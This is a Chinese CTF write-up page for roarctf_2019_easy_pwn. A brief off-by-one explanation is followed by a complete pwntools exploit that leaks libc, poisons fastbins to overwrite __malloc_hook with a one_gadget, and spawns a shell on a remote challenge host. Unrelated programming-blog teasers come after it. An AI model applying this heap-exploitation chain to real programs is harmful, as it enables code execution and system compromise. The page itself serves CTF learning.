roarctf_2019_easy_pwn[off by one]

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
溢出一个字节,修改size域

exp

from pwn import *

context.log_level = 'debug'

def debug_pause():
    log.info(proc.pidof(p))
    pause()

def create_note(size, ):
    p.sendlineafter('choice:', str(1))
    p.sendlineafter('size:', str(size))

def write_note(index, size, content):
    p.sendlineafter('choice:', str(2))
    p.sendlineafter('index:', str(index))
    p.sendlineafter('size:', str(size))
    p.sendlineafter('content:', content)

def drop_note(index):
    p.sendlineafter('choice:', str(3))
    p.sendlineafter('index:', str(index))

def show_note(index):
    p.sendlineafter('choice:', str(4))
    p.sendlineafter('index:', str(index))                                                                                                                                                                          

proc_name = './roarctf_2019_easy_pwn'
p = process(proc_name)
p = remote('node3.buuoj.cn', 28035)
elf = ELF(proc_name)
libc = ELF('./libc-2.23.so')
create_note(0x18) # 0
create_note(0x18) # 1
create_note(0x88) # 2
create_note(0x18) # 3

create_note(0x28) # 4
create_note(0x28) # 5
create_note(0x68) # 6

write_note(0, 0x18 + 10, b'a' * 0x18 + p8(0xb1))
drop_note(1)
create_note(0xa8) # 1
write_note(1, 0x20, b'a' * 0x18 + p64(0x91))
drop_note(2)
show_note(1)
p.recvuntil('content: ')
p.recv(0x20)
libc_base = u64(p.recv(6).ljust(0x8, b'\x00')) - 0x3c4b78
log.info(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['__libc_realloc']
one_gadget = libc_base + 0x4526a
write_note(4, 50, b'a'*0x28+p8(0xa1))
drop_note(5)
drop_note(6)
create_note(0x98) # 2
write_note(2,0x38, b'a'*0x28+p64(0x71)+p64(malloc_hook-0x23))
create_note(0x68) # 5
create_note(0x68) # 6 hook
write_note(6, 27, b'a' * (0x13 - 8) + p64(one_gadget) + p64(realloc + 16)) # modify stack env
create_note(0x18)
p.interactive()

在这里插入图片描述

热门文章

暂无图片
编程学习 ·

吐血整理各种二叉树(BST、AVL、Red Black、B、B+)

前言 没有必要过度关注二叉树的增删改导致的结构改变,规则操作什么的了解一下就好,看不下去就跳过,本文过多的XX树操作图片纯粹是为了作为规则记录,该文章主要目的是增强下个人对各种常用XX树的设计及缘由的了解,也从中了解到常用的实现案例使用XX树实现的原因。 数据在计…
暂无图片
编程学习 ·

练习2-1 Programming in C is fun! (5分)

练习2-1 Programming in C is fun! (5分) 本题要求编写程序,输出一个短句“Programming in C is fun!”。 输入格式: 本题目没有输入。 输出格式: 在一行中输出短句“Programming in C is fun!”。 #include <stdio.h>int main() {printf("Programming in C is fun…
暂无图片
编程学习 ·

https://www.cnblogs.com/hdk1993/p/5853233.html

c++文件打开方式详解 csdn编译器使用方法 欢迎使用Markdown编辑器 你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本语法知识。 新的改变 我们对Markdown编辑器进行了一些功能拓展与…
暂无图片
编程学习 ·

LittleVGL 源码分析--src/lv_misc/lv_log.h

这是log配置信息:/*================* Log settings 日志设置*===============*//*1: Enable the log module 启用日志模块 */ #define LV_USE_LOG 1 #if LV_USE_LOG /* How important log should be added:* LV_LOG_LEVEL_TRACE A lot of logs to give detailed…
暂无图片
编程学习 ·

Java四种访问权限从大大小排列

public:可以被所有其他类所访问 protected:自身、子类及同一个包中类可以访问 default:同一包中的类可以访问,声明时没有加修饰符,认为是friendly private:只能被自己访问和修改。 public: 具有最大的访问权限,可以访问任何一个在classpath下的类、接口、异常等。它往往…
暂无图片
编程学习 ·

nginx支持php

ubuntu14.04 +nginx+php5-fpm 一,安装Nginx apt-get install nginx 1,配置nginx nginx所有的配置在 /etc/nginx/nginx.conf中 nginx.conf配置里面包括了 include /etc/nginx/conf.d/.conf;include /etc/nginx/sites-enabled/; 这两个配置,所以这里面的配置也是有效的。 错误…
暂无图片
编程学习 ·

计算机专业大学生的随感

我想去聚会,想和朋友一起喝酒,但是仔细一想,自己好像没有可以去的聚会,也没有可以陪着自己喝酒的朋友。 懒得在社交上花费时间和精力,那么需要朋友的时候,就只能对着屏幕空感叹。 那几分GPA虽然重要,但真的不至于占用自己那么多时间
暂无图片
编程学习 ·

C++ builder listview 自绘条形图

菜鸟的学习笔记,如果对你有用最好。高手请无视。ListView 要开 Doublebuffervoid __fastcall TForm1::ListView1CustomDrawSubItem(TCustomListView *Sender, TListItem *Item,int SubItem, TCustomDrawState State, bool &DefaultDraw) { DefaultDraw=true; int lef=0; T…
暂无图片
编程学习 ·

TextRNN的PyTorch实现

本文介绍一下如何使用PyTorch复现TextRNN,实现预测一句话的下一个词 参考这篇论文Finding Structure in Time(1990),如果你对RNN有一定的了解,实际上不用看,仔细看我代码如何实现即可。如果你对RNN不太了解,请仔细阅读我这篇文章RNN Layer,结合PyTorch讲的很详细 现在问题…
暂无图片
编程学习 ·

金秋十月,再聚蓉城!一展一会,涌动环保新商机!

如果不是……今天会是“第二届中国环博会成都展”与“2020中国环境产业高峰论坛”开幕的日子。现在,两大盛会确定改到10月13-15日,地点仍为中国成都西部国际博览城。在等待的日子里,我们一起来回顾一下去年展会的盛况,再跟朋友们说说今年的最新动态。 品牌环保展落户蓉城 强…
暂无图片
编程学习 ·

Redis锁和ZK锁比较-两种方案的优缺点比较

两种方案的优缺点比较学完了两种分布式锁的实现方案之后,本节需要讨论的是 Redis 和 ZK 的实现方案中各自的优缺点。对于 Redis 的分布式锁而言,它有以下缺点:它获取锁的方式简单粗暴,获取不到锁直接不断尝试获取锁,比较消耗性能。另外来说的话,Redis 的设计定位决定了它…
暂无图片
编程学习 ·

CPU的架构:x86、arm、mips、龙芯等

x86,arm,mips等这些都是CPU的架构。x86主要用于PC领域如笔记本、台式机、小型服务器等arm用于移动领域如手机、平板等MIPS R系列微处理器用于构建SGI的高性能工作站、服务器和超级计算机系统。在嵌入式方面,MIPS K系列微处理器是目前仅次于ARM的用得最多的处理器之一(1999年以…
暂无图片
编程学习 ·

【Android开发--新手必看篇】Activity && Fragment

Android笔记 ​ ——主窗体与碎片 【若对该知识点有更多想了解的,欢迎私信博主~~】 主窗体与碎片:Activity and Fragment Activity:主窗体 生命周期:方法 说明onCreate() 在Activity被创建时回调,开启Activity的第一步onStart() Activity正在启动,此时Activity已处于可…
暂无图片
编程学习 ·

Zookeeper、Apache Dubbo

Zookeeper zookeeper概述 ZooKeeper从字面意思理解,【Zoo - 动物园,Keeper - 管理员】动物园中有很多种动物,这里的动物就可以比作分布式环境下多种多样的服务,而ZooKeeper做的就是管理这些服务。 Apache ZooKeeper的系统为分布式协调是构建分布式应用的高性能服务。 ZooKe…
暂无图片
编程学习 ·

LinkedIn Camus实践及踩坑记录

LinkedIn Camus踩坑记录 首先,介绍下Camus吧。 由LinkedIn公司开发的消息队列同步框架,提供将Kafka(一种消息队列框架)的数据装载到Hadoop分布式文件系统(HDFS)的功能。 英文版原文出处:http://docs.confluent.io/2.0.1/camus/docs/intro.html#key-features 转载于:https:…
暂无图片
编程学习 ·

未能加载文件或程序集Microsoft.SqlServer.BatchParser解决思路

C# 操作SQL Server SMO执行数据库文件时出现问题:未能加载文件或程序集“Microsoft.SqlServer.BatchParser, Version=15.100.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91”或它的某一个依赖项。试图加载格式不正确的程序。 vs版本为2019. 首先检查c:\windows\asse…
暂无图片
编程学习 ·

字符串中查找逗号位置

#include <stdio.h> /**@brief 查找逗号位置偏移量 函数 @param [in] *str 字符串指针 @param [in] cx 从*str里面得到第cx个逗号所在的位置 @return 0~0XFE,代表逗号所在位置的偏移; 0XFF,代表不存在第cx个逗号 @note*/ unsigned char CommaPosOffset(char *st…
暂无图片
编程学习 ·

Markdown_Vim_Plug 20200702

什么是Markdown 常用语法 转义字符 语法分解 Vim相关插件什么是Markdown Markdown是一种纯文本格式的标记语言。通过简单的标记语法,它可以使普通文本内容具有一定的格式。目前大部分博客网站都支持markdown文本格式,如知乎的专栏文章,本文即通过markdown编写。它可以保证在…
暂无图片
编程学习 ·

Jedis入门

Jedis的基础使用 Jedis的基础使用Jedis简介Jedis=Java+Redis Redis 不仅可以使用命令来操作,现在基本上主流的语言都有 API 支持,比如 Java、C#、C++、PHP、 Node.js、Go 等。在官方网站里列一些 Java 的客户端,有 Jedis、Redisson、Jredis、JDBC-Redis 等其中官方推 荐使用…